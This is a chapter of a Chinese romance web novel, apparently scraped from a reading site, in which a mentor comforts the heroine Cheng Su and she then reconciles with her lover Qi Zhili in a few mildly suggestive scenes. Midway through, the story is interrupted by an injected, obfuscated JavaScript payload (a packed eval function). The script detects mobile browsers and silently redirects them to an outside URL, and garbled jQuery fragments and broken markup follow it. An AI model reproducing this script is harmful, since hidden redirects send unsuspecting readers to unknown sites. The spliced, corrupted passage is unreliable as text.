86. 世无其二

作品:《至夜沉沦

    -


    凌淑慎说,没有关系。


    程诉空洞的,闪着泪花的眼睛望向凌淑慎,她如此淡定的说出了对程诉有灵魂冲击的话,甚至影响大到重塑她的人格。


    “不必把那些他原本就躲不掉的东西强加到自己身上,你原本就不该承受这些,你和他在一起也不是为了承受这些。”


    “就像朝代的更迭真的是因为女人的祸乱吗?那是因为统治的君主太昏庸,关情爱什么事?”


    “小礼如果真坐不住这个位置,那是他自己没有本事,他就该自己受着。”


    “程诉,你已经很好了,没有人会比你更好了,你既没有享受到此事带来的荣耀,就不必为他的决策背锅。”


    泪像断线的珍珠一样往下掉,凌淑慎凑近哭得不成样子的程诉,轻柔的给她擦泪,拥住她纤瘦柔弱的身躯。


    无论程诉是否选择和祁知礼在一起,凌淑慎都要告诉她这个道理,将她从无尽的自责和悔恨的心理枷锁中解救出来。


    她花一辈子的时间才明白这个道理,程诉还年轻,或许还意识不到,但凌淑慎要告诉她。


    “可是,可是……”


    程诉支撑在凌淑慎怀里,哭得连话都说不清楚。


    “程诉,我尊重你的选择,也希望你能有好的结局,无论是在哪里,无论去做什么。”


    凌淑慎在程诉身上倾注的心血恐怕比祁知礼还多,她见证着,参与着程诉从稚嫩到成熟的蜕变,对程诉的感情早已与别人不同,她如此真心的祝福她。


    “谢谢你,师父。”


    程诉能对凌淑慎说的,大概只有这句谢谢了,她感谢凌淑慎无数次的为她指点迷津。


    “我期待下一次你对我有别的称呼。”


    凌淑慎期待下一次,程诉会对她有更亲密的称呼,从某种程度上来说,她甚至会觉得程诉和祁知礼在一起是便宜那小子了,程诉的天资和样貌,在凌淑慎这里,世无其二。


    送走凌淑慎,程诉待在房间里没再出来过,她消化着凌淑慎对她说的那些话,她感慨,她何其有幸能遇到凌淑慎这样的师父,能遇到祁知礼这样的爱人。


    邮箱里的辞呈被凌淑慎驳回,她对程诉说希望她能继续帮她一段时间,如果她不愿意面对祁知礼,她可以不见他。


    程诉已经脱离工作在家待了小半年,凌淑慎如此恳求她,无论是因理还是因情,程诉这个时候都该在凌淑慎身边。


    祁知礼在入夜后才回到秋水长天,张姨收好厨房正要回家。


    虽说凌淑慎再三叮嘱他少来程诉这里,到底要顾全女孩子的名声,但祁知礼才不肯听话,他好怕一个不留神,程诉就再也不会出现在他面前,哪舍得真的不来秋水长天呢。


    程诉待在自己房间里,祁知礼没在客厅见着她,转头问张姨今天凌淑慎和程诉都聊了些什么。


    “具体聊的什么我也不知道,只听见程小姐好像哭了,还挺伤心呢。”


    哭了那一场下来,程诉的眼睛都是肿的,轻易就被人看出端倪。


    将张姨打发走,祁知礼轻声进了程诉的房间,她没睡,正倚在窗边,不知道在看些什么,想些什么。


    听到开门的动静,程诉转身望了一眼来人,又背过身去。


    五月的夜里还凉,祁知礼怕程诉再生病,拿起毯子裹在她身上,他在这件事上还是没点长进,把程诉裹得紧紧的,倒有点不舒服了。


    “我妈是不是为难你了?”


    祁知礼轻轻触碰程诉还红肿的眼睛,每次见她哭,祁知礼都心疼得要死了。


    “没有为难我,师父慧眼,与我讲了很多道理,她问我为什么不愿意留在京城。”


    “是因为祁文渊对吗?”


    凌淑慎已经提点过祁知礼,他逐渐明白了程诉的顾虑,试图去理解着她的想法。


    “我总是在想,如果当初那把刀不是伤在你的手臂,而是插进你的心脏或我的心脏,那会是什么后果。”


    那样鲜血淋漓的场面,祁文渊在她耳边低语的那句话,叫程诉不能不去多想。


    她做不到毫不在意,还和以前一样与祁知礼亲密。


    “程诉,对不起,是我的错,我想让你在我身边,却没有尽到保护你的职责,让你承受了那么多。”


    他认真的,甚至带点哽咽的说,他心里明白,如果没有他,程诉的人生轨迹不会是现在这样,可是……


    “可是,你知不知道,你的不辞而别才是插在我心脏上的那把刀。”


    祁知礼眼圈红了,他握住程诉的肩,似乎在质问。


    “程诉,我为什么就是捂不热你的心,我到底哪里做得不够好,你告诉我行不行,我哪里不够好?”


    祁知礼一边掉眼泪,一边把程诉搂紧怀里,浑身都在颤抖。


    程诉愣了,她听到如此平静却又声嘶力竭的质问,忽然就愣在那里无法动作,她也不觉得祁知礼有哪里不好。


    “没有,你特别好。”


    她比谁都明白,祁知礼已经给了他能力范围内能给的所有,他想和她结婚,连戒指都准备好了。


    “是我的问题,是我太坚硬,如果换成别人,早就贴上去了。”


    “我不要别人。”


    祁知礼这话说得有点赌气。


    “你要是和别人一样,我就不会喜欢你了。”


    那么多贴上来的世家千金,祁知礼一个也没想要过,他就喜欢程诉,他不要别人。


    “祁知礼,为什么非要给自己找罪受呢?”


    程诉明白,喜欢她真的是一件很难的事,冰山一样的心,表面的冷淡只是她性格里很小的一部分,隐藏在水面下的巨大冰山,才是她的真实写照。


    “我不觉得受罪,我觉得,爱你是件很好的事。”


    程诉再也忍不住,才收起的眼泪又溢出来了,祁知礼跟她说,爱她是件很好的事。


    祁知礼吻掉她的眼泪,两人灼热的泪交缠在一起,再也没办法分清,就像他们俩要一辈子纠缠不休一样。


    “眼睛越来越肿了,是我不好,又让你哭了。”


    程诉摇头,说不出话来。


    祁知礼去冰箱里取了冰袋,敷在程诉红肿的眼上,他将程诉紧紧抱在怀里,他从没有那一刻像此时这般,觉得程诉是真的属于他的。


    他终于感受到,程诉是如此的爱他。


    程诉哭得累了,就趴在祁知礼身上,凌淑慎说他今天去奇悦了,身上有股很浅淡的酒气,混合着偏高的体温,叫人迷醉。


    “困了吗?我们去睡觉?”


    程诉懒洋洋的贴着他,快要睡着,听到这话一下就清醒了。


    “你要留在这儿吗?”


    “那不然我去哪里?”


    “凌……你妈妈不会说你吗?”


    凌淑慎向来注重礼法,从前她在国外管不着祁知礼,现在她回国了,祁知礼还敢成天这么猖狂,凌淑慎肯定会骂他的。


    “要不你还是回去住吧?”


    “怎么这就要赶我走?多让我抱一会儿都不肯吗?”


    “可是……”


    “就今晚,今晚我留在这里,明天我再回去,好不好?”


    祁知礼已经很让步了,虽然凌淑慎说得有道理,可他一秒钟也不想离开程诉。


    湿润的唇瓣被舌头覆盖,程诉被祁知礼抱着跨坐在他身上,西裤□□的面料和睡袍柔软的丝绸摩擦着,祁知礼握住程诉纤细的腰身,让她往自己怀里靠。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15303577|157632||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    “唔……祁知礼……”


    吻得太久,头脑缺氧,加上昨夜的胡闹,程诉还没恢复过来,这样子累得很。


    “我抱你去浴室洗漱。”


    祁知礼看着程诉笑,又往她身上亲。


    程诉推他,不要他抱。


    “你一进浴室就要弄我!”


    “你不喜欢吗?你每次都不要我走的。”


    祁知礼不安分的去解她的衣服,嘴角漾起的一抹笑,像狐狸一样勾人。


    “今天不行,你昨天晚上闹得太凶了。”


    程诉嗔怪的控诉他。


    “那我保证,今天一定安分,什么都不做。”


    程诉还是不肯,他每次就把她骗进去,再干什么就不是她能控制的了。


    她挣开祁知礼,去浴室里洗漱。


    祁知礼洗掉酒气,换上新的睡袍钻进程诉的被子里,床上尽是一股独属于程诉的味道,清新冷冽的气息萦绕在鼻尖。


    程诉已经困倦,等祁知礼等得快睡着了,感受到他的那股热气,往他身边贴过来。


    柔软恬静的面孔又让祁知礼生了歹念。


    “程诉,今晚真的不可以吗?”


    “不……”


    还没说完就被祁知礼抢了话。


    “我明天就不在这里了,你都不肯让我亲一亲吗?”


    祁知礼黏人得紧,喜欢亲,喜欢抱她,就好像渴肤症患者一样。


    “那……只许亲,不许做别的。”


    “好。”


    虽然答应得痛快,但最后亲到什么地方,就不是程诉能料想到的了。


    “你怎么还亲这里!”


    “不可以吗?我只亲一亲,其他什么都没做。”


    那语气多无辜,像程诉错怪了他似的。


    这一遭亲下来,程诉早就瘫软了,恶狠狠的瞪祁知礼一眼,又被他抱去浴室清洗。


    一番折腾下来,程诉终于能睡个好觉了,她有点生气,背过身去不想搭理祁知礼,又被他轻柔的按摩给哄好,不知不觉就睡到他怀里去了。


    祁知礼早上起的时候程诉还在睡着,他走时特地叫张姨炖了花胶鸡汤,给程诉补身体。


    “这汤炖得真好喝。”


    程诉中午起来,一连喝了两碗,她也会炖这道汤,只是没张姨这样炉火纯青的手艺,到底是术业有专攻。


    “这是祁先生特地吩咐我的,程小姐喜欢我就改天再炖给你喝。”


    原来这是祁知礼给她赔罪的。


    可程诉才没那么容易消气呢,折腾一番过后,她总是昏沉,白天都没什么精力去看书和处理文件,可她和凌淑慎说好了,下周开始继续跟在她身边做助理。


    晚上祁知礼再来敲门时,程诉就不给他开门了,说好他今后回祁公馆住的,程诉问他怎么能说话不算数。


    祁知礼在程诉这里向来是没什么话语权的,暗暗吃了个闷亏,被她打发回祁公馆了。


    更可笑的是凌淑慎见他失魂落魄的回来,问他今天怎么不去秋水长天缠着程诉了。


    “不是你叫我回来的吗,说影响人家名声。”


    “你哪里是这么肯听话的人,是程诉把你赶出来了吧?”


    祁知礼脸色更黑了。


    “对,我就是被程诉赶出来了!”


    颇有点破罐破摔的意思,气愤得很。


    “你又怎么欺负程诉了,她怎么能这么坚决的把你赶出来。”


    “我哪有欺负她!”


    祁知礼想昨晚他也没有很过分吧,事后他还哄了她好久,程诉也不像真生气的样子。


    想起昨晚她瘫软在他怀里的样子,祁知礼叹息,老老实实的回了房间。


    -